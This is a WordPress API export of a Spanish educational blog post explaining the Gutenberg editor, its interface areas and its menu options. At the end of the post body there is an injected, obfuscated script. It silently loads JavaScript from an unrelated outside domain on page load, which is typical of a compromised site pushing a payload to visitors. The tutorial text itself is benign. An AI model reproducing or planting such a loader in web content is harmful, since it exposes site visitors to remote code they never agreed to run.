{"id":362,"date":"2021-03-03T19:20:50","date_gmt":"2021-03-03T19:20:50","guid":{"rendered":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/?p=362"},"modified":"2025-10-21T17:01:20","modified_gmt":"2025-10-21T17:01:20","slug":"el-editor-gutenberg","status":"publish","type":"post","link":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/el-editor-gutenberg\/","title":{"rendered":"El editor Gutenberg"},"content":{"rendered":"\n<p><strong>Gutenberg<\/strong>, es el nombre que se la ha dado al nuevo editor de WP.<\/p>\n\n\n\n<p>Incorporado en WordPress 5.0, supone un importante cambio a la hora de generar contenidos es WordPress. La versi\u00f3n con la que estamos trabajando actualmente es la 5.6.2.<\/p>\n\n\n\n<h2>Editor cl\u00e1sico<\/h2>\n\n\n\n<p>Hasta entonces, en WP se trabajaba por defecto, en el denominado <em>editor cl\u00e1sico<\/em>. Un editor en el que todos los contenidos, texto, im\u00e1genes, enlaces&#8230;, se creaban en una \u00fanica ventana a modo de procesador de textos, en el que en la mayor\u00eda de las ocasiones se precisaba de la previsualizaci\u00f3n en el navegador, para poder comprobar c\u00f3mo se visualizar\u00eda en el lado del <em>usuario\/a<\/em>.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p>El Plugin WP Lorem ipsum, crea entradas con un tipo de bloque, que emula este tipo de editor.<\/p><\/blockquote>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" width=\"1024\" height=\"332\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/banner-772x250-1-1024x332.png\" alt=\"\" class=\"wp-image-365\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/banner-772x250-1-1024x332.png 1024w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/banner-772x250-1-300x97.png 300w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/banner-772x250-1-768x249.png 768w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/banner-772x250-1-1536x497.png 1536w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/banner-772x250-1.png 1544w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n\n<h2>Editor Gutenberg<\/h2>\n\n\n\n<p>El nuevo editor, pretende ser m\u00e1s visual y aunque sea un constructor de tipo Backend (que se trabaja en la parte de administraci\u00f3n del sitio), permite trabajar en modo de visualizaci\u00f3n en \u00abtiempo real\u00bb, y que pretende no tener la necesidad de previsualizar en el navegador los diferentes efectos y opciones. <\/p>\n\n\n\n<p>Aunque la realidad es que s\u00ed debemos previsualizar en navegador, es cierto que podemos visualizar el  resultado aproximado en el propio editor en la mayor\u00eda de las opciones y efectos, pero debemos controlar los cambios en los diferentes tipos de navegador.<\/p>\n\n\n\n<p>Es un <strong>constructor, m\u00e1s flexible e intuitivo<\/strong>, que facilita tareas que anteriormente solo se pod\u00edan realizar con c\u00f3digo o instalando otros constructores visuales. Permite manejar los bloques mediante la acci\u00f3n \u00abarrastrar y soltar\u00bb y un controlar las diferentes opciones de los contenidos desde el panel de propiedades.<\/p>\n\n\n\n<p>El potencial de este editor es dif\u00edcil de imaginar, continuamente aparecen infinidad de plugins, que multiplican su potencial de manera exponencial.<\/p>\n\n\n\n<p><em><span class=\"has-inline-color has-theme-secondary-color\">En el blog de del Curso de WordPress 2019 del CAP de Pamplona, ten\u00e9is un art\u00edculo en el que se detallan m\u00e1s en profundidad, las diferencias entre ambos editores.<\/span><\/em><\/p>\n\n\n\n<div class=\"wp-container-1 wp-block-buttons\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link\" href=\"https:\/\/cursoswp.educacion.navarra.es\/cursowp2019\/que-es-gutenberg\/\" target=\"_blank\" rel=\"noopener noreferrer\">\u00bfQu\u00e9 es el editor Gutenberg?<\/a><\/div>\n<\/div>\n\n\n\n<div style=\"background-color:#f2f2f2;padding-bottom:5%;padding-top:5%;margin-top:5%;margin-bottom:5%\" class=\"wp-block-genesis-blocks-gb-container alignwide gb-block-container\"><div class=\"gb-container-inside\"><div class=\"gb-container-content\" style=\"max-width:740px\">\n\n<h2><strong>\u00c1reas del editor Gutenberg<\/strong><\/h2>\n\n\n<figure class=\"wp-block-image alignfull size-large\"><a href=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Gutenberg_interfaz.jpg\"><img loading=\"lazy\" width=\"1024\" height=\"490\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Gutenberg_interfaz-1024x490.jpg\" alt=\"\" class=\"wp-image-367\" title=\"Descripci\u00f3n de la ventana del editor Gutenberg\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Gutenberg_interfaz-1024x490.jpg 1024w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Gutenberg_interfaz-300x144.jpg 300w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Gutenberg_interfaz-768x368.jpg 768w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/Gutenberg_interfaz.jpg 1190w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption>Ventana del Editor Gutenberg<\/figcaption><\/figure>\n\n\n<p>Cuando creamos una entrada o p\u00e1gina nueva, nos encontramos ante una ventana que tiene sis contenidos distribuidos de la siguiente forma:<\/p>\n\n\n<ul class=\"has-list-bullet-color\" style=\"--ek-bullet-color:#008285\"><li>En la parte central aparece el&nbsp;<strong>contenido o<\/strong>&nbsp;<strong>vista previa <\/strong>. Muestra un \u00e1rea preparada para la inserci\u00f3n del <strong>t\u00edtulo<\/strong>&nbsp;y un bloque para a\u00f1adir el texto directamente o elegir cualquier otro tipo de bloque.<\/li><li>En la parte superior izquierda, aparece una barra de herramientas con el icono <strong>+<\/strong>, desde el que podemos insertar los diferentes tipos de bloques. Adem\u00e1s muestra:<ul><li>Las <strong>flechas <\/strong>para deshacer y rehacer cambios.<\/li><li>Un icono con una<strong> i<\/strong> de informaci\u00f3n, llamado <strong>Estructura del contenido<\/strong>, &nbsp;donde se nos muestra informaci\u00f3n sobre el n\u00famero de palabras, bloques, encabezados y p\u00e1rrafos, y el tiempo aproximado de lectura de la misma. Adem\u00e1s, se muestra el esquema del documento de acuerdo con la estructura jer\u00e1rquica de la entrada o p\u00e1gina. <\/li><li>Al final de esta barra de herramientas, se muestra el icono de <strong>Navegaci\u00f3n por bloques<\/strong>, que despliega una ventana flotante con toda la estructura de bloques de la p\u00e1gina o entrada, permitiendo acceder a los mismos y navegar por el contenido.<\/li><\/ul><\/li><li>En la parte superior derecha, se hallan los <strong>botones de visualizaci\u00f3n y publicaci\u00f3n<\/strong> , as\u00ed como el conmutador que muestra u oculta el panel de ajustes (<em>bot\u00f3n de engranaje<\/em>). En nuestro caso adem\u00e1s, se incluye el bot\u00f3n <em>G\u00e9nesis<\/em>, que da acceso a propiedades de la p\u00e1gina\/entrada, desde donde podemos modificar algunos ajustes predefinidos en la <em>Apariencia del sitio<\/em>.<\/li><li>Justo debajo, a la derecha de la ventana, se muestran las opciones de <strong>ajustes de documento&nbsp;<\/strong>(visibilidad, fecha de publicaci\u00f3n, categor\u00eda, etiquetas, imagen destacada\u2026)<strong>&nbsp;o de bloque<\/strong>, cuando se tiene alg\u00fan bloque seleccionado<strong>.&nbsp;<\/strong><\/li><\/ul>\n\n\n<div style=\"height:40px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-vertically-aligned-top\" style=\"grid-template-columns:31% auto\"><figure class=\"wp-block-media-text__media\"><a href=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/mas_herramientas_opciones-1.png\"><img loading=\"lazy\" width=\"205\" height=\"1024\" src=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/mas_herramientas_opciones-1-205x1024.png\" alt=\"Men\u00fa opciones complementarias del editor Gutenberg\" class=\"wp-image-374 size-full\" srcset=\"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/mas_herramientas_opciones-1-205x1024.png 205w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/mas_herramientas_opciones-1-60x300.png 60w, https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/files\/2020\/10\/mas_herramientas_opciones-1.png 256w\" sizes=\"(max-width: 205px) 100vw, 205px\" \/><\/a><\/figure><div class=\"wp-block-media-text__content\">\n\n<h3>Opciones complementar\u00edas <br>del editor<\/h3>\n\n\n<p>Pinchando en el icono de los tres puntitos dispuestos en vertical de la barra de herramientas de los botones de publicaci\u00f3n, accedemos a las siguientes opciones:<\/p>\n\n\n<h4>VER<\/h4>\n\n\n<ul><li><strong>Barra de herramientas superior:<\/strong> las opciones de edici\u00f3n de cada bloque aparecer\u00e1n en una barra superior, que mostrar\u00e1 diferentes opciones, seg\u00fan el tipo de bloque.<\/li><li><strong>Modo de enfoque:<\/strong> aten\u00faa todos aquellos bloques no seleccionados en ese momento, mostrando n\u00edtidamente el bloque activo.<\/li><li><strong>Modo pantalla completa: <\/strong>oculta el men\u00fa lateral izquierdo de WP, ganando espacio de trabajo.<\/li><\/ul>\n\n\n<h4>EDITOR<\/h4>\n\n\n<ul><li><strong>Editor visual<\/strong><\/li><li><strong>Editor de c\u00f3digo<\/strong><\/li><\/ul>\n\n\n<h4>PLUGINS<\/h4>\n\n\n<p>Las opciones que se muestran, dependen de los plugins activos y el tema asignado. En nuestro caso hay dos opciones interesantes:<\/p>\n\n\n<ul><li><strong>Auto Save: <\/strong>guardado autom\u00e1tico<\/li><li><strong>Preview: <\/strong>permite visualizar la p\u00e1gina\/entrada en diferentes configuraciones de pantalla, escritorio, tablet o m\u00f3vil.<\/li><li><strong>Block Guides Line \/<\/strong> <strong>L\u00edneas de gu\u00eda de bloque: <\/strong>muestra los l\u00edmites de los bloques, para hacerlos m\u00e1s visibles.<\/li><\/ul>\n\n\n<h4>HERRAMIENTAS<\/h4>\n\n\n<p>Diferentes utilidades de gesti\u00f3n y productividad de Gutenberg, como <em>copiar contenido, gestionar bloques, atajos de teclado.<\/em>..<\/p>\n\n\n<p><\/p>\n\n<\/div><\/div>\n\n<\/div><\/div><\/div>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>Gutenberg, es el nombre que se la ha dado al nuevo editor de WP. Incorporado en WordPress 5.0, supone un importante cambio a la hora de generar contenidos es WordPress. La versi\u00f3n con la que estamos trabajando actualmente es la 5.6.2. Editor cl\u00e1sico Hasta entonces, en WP se trabajaba por defecto, en el denominado editor [&hellip;]<\/p>\n","protected":false},"author":605,"featured_media":364,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_editorskit_title_hidden":false,"_editorskit_reading_time":3,"_editorskit_is_block_options_detached":false,"_editorskit_block_options_position":"{}","_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":""},"categories":[18],"tags":[22,23],"_links":{"self":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts\/362"}],"collection":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/users\/605"}],"replies":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/comments?post=362"}],"version-history":[{"count":0,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/posts\/362\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/media\/364"}],"wp:attachment":[{"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/media?parent=362"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/categories?post=362"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogsfad.educacion.navarra.es\/pmartiaf\/wp-json\/wp\/v2\/tags?post=362"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}